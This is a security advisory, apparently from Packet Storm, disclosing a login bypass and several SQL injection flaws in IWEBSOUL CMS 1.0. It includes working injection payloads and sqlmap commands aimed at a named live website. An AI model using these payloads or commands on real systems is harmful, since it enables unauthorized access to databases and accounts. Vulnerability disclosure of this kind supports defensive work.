Lucene search
K

IWEBSOUL CMS 1.0 SQL Injection

🗓️ 07 Sep 2017 00:00:00Reported by RenziType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 57 Views

IWEBSOUL CMS 1.0 SQL Injection & Authentication Bypass in Web Interfac

Code
`Title:  
=======  
  
IWEBSOUL CMS - Multiple SQL Injection Vulnerabilities & Authentication Bypass   
  
Introduction:  
==============  
  
Intrepid Websoul Private Limited - iWebsoul is a rapidly growing IT Solution provider in India.   
Team comprehensively works to create a unique business and industry based solution for their customers.   
They customize solutions and tailor it according to the needs of our clients keeping in mind their vision and target audience.[iWbeSoul]  
  
Vulnerability Disclosure:  
==========================  
  
2017-09-06: Public Disclosure  
  
Affected Product(s):  
=====================  
  
IWEBSOUL CMS 1.0  
  
Exploitation Technique:  
========================  
  
Remote  
  
Severity Level:  
================  
  
High  
  
Technical Details & Description:  
=================================  
  
An auth bypass session vulnerability has been discovered in the IWEBSOUL CMS 1.0 web-application.  
The session vulnerability allows remote attackers to unauthorized access the web user interface.  
The vulnerability is located in the session credentials request of the login.php file. Remote attackers are able to use a '- SQL Injection payload to bypass the login.php script validation.   
This is results in unauthorized access. The issue is a classic auth bypass and is remote exploitable. The request method to inject is POST.  
  
Request Method(s):  
  
[+] POST  
  
Vulnerable Funcitons(s):  
  
[+] login.php  
  
Affected Module(s):  
  
[+] Web User Interface  
  
  
A remote SQL Injection web vulnerability has been discovered in the IWEBSOUL CMS 1.0 web-application.  
The vulnerability allows remote attackers to execute own sql commands to compromise the web-server or dbms.  
The vulnerability is located in the `type` parameter of the `service-detail.php` file GET method request.   
  
  
Request Method(s):  
  
[+] GET  
  
Vulnerable Function(s):  
  
[+] service-detail.php  
  
Vulnerable Parameter(s):  
  
[+] type  
  
And the other SQL injection is located in the `catid`, 'scatid' & 'typeid' parameters of the `product.php` file GET method request.  
  
Request Method(s):  
  
[+] GET  
  
Vulnerable Function(s):  
  
[+] product.php  
  
Vulnerable Parameter(s):  
  
[+] catid  
  
[+] scatid  
  
[+] typeid  
  
More SQL Injection is located in the 'id' paramater of the 'offerproductdisplay.php' file GET method request.  
  
Request Method(s):  
  
[+] GET  
  
Vulnerable Function(s):  
  
[+] offerproductdisplay.php  
  
Vulnerable Parameter(s):  
  
[+] id  
  
Proof of Concept (PoC):  
========================  
  
An Auth bypass vulnerability can be exploited by remote attackers without privilege application user account or user interaction.  
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.  
  
Manual steps to reproduce the vulnerability.  
  
1 . Open the vulnerable web-app  
2 . Start to browse the website and go to http://www.bumalow.com/login.php  
3 . Enter Username:'-  
4 . Enter Password:'-  
5 . Now you will login with the credentials  
6 . Successful reproduce of the auth bypass login vulnerability!  
  
  
The remote sql-injection vulnerability can be exploited by remote attackers with privilege web-application user account and without user interaction.  
The security demonstration reproduce the web vulnerability exploitation using SQLmap.  
  
  
renzi@instance-1:~/sqlmapproject-sqlmap-96b9950$ python sqlmap.py -u "http://www.bumalow.com/service-detail.php?type=1" --current-db --random-agent --dbms=mysql --threads=8  
  
---  
Parameter: type (GET)  
Type: boolean-based blind  
Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)  
Payload: type=-7101' OR 4159=4159#  
  
Type: error-based  
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)  
Payload: type=1' OR (SELECT 2319 FROM(SELECT COUNT(*),CONCAT(0x716b707071,(SELECT (ELT(2319=2319,1))),0x716b717671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- HVPB  
  
Type: AND/OR time-based blind  
Title: MySQL >= 5.0.12 OR time-based blind  
Payload: type=1' OR SLEEP(5)-- dKVd  
---  
  
  
renzi@instance-1:~/sqlmapproject-sqlmap-96b9950$ python sqlmap.py -u "http://www.bumalow.com/product.php?catid=1" --current-db --random-agent --dbms=mysql --threads=8   
  
---  
Parameter: catid (GET)  
Type: AND/OR time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind  
Payload: catid=1 AND SLEEP(5)  
  
Type: UNION query  
Title: Generic UNION query (NULL) - 4 columns  
Payload: catid=1 UNION ALL SELECT CONCAT(0x71786a6271,0x68686e537353764743507264565a7a6673496f70454f7475655846614e5243664f68634a57414761,0x7176787671),NULL,NULL,NULL-- jApP  
---  
  
  
renzi@instance-1:~/sqlmapproject-sqlmap-96b9950$ python sqlmap.py -u "http://www.bumalow.com//offerproductdisplay.php?id=1" --current-db --random-agent --dbms=mysql --threads=8  
  
---  
Parameter: id (GET)  
Type: AND/OR time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind  
Payload: id=1 AND SLEEP(5)  
---  
Solution   
=========  
  
In order to avoid SQL Injection it is important to validate all non-SQL text entries, not allowing special characters and SQL key words to be written, such as INSERT, DELETE, UPDATE, HAVING, JOIN, etc.  
It is interesting to set a maximum of characters for passwords and users.   
Treat errors appropriately, for messages that do not expose attackers to information about a data structure.  
  
Credits  
========  
  
Felipe "Renzi" Gabriel  
  
Contact  
========  
  
[email protected]  
  
References  
==========  
  
https://www.owasp.org/index.php/Top_10_2013-A1-Injection  
https://www.iwebsoul.com/about-iwebsoul.php  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation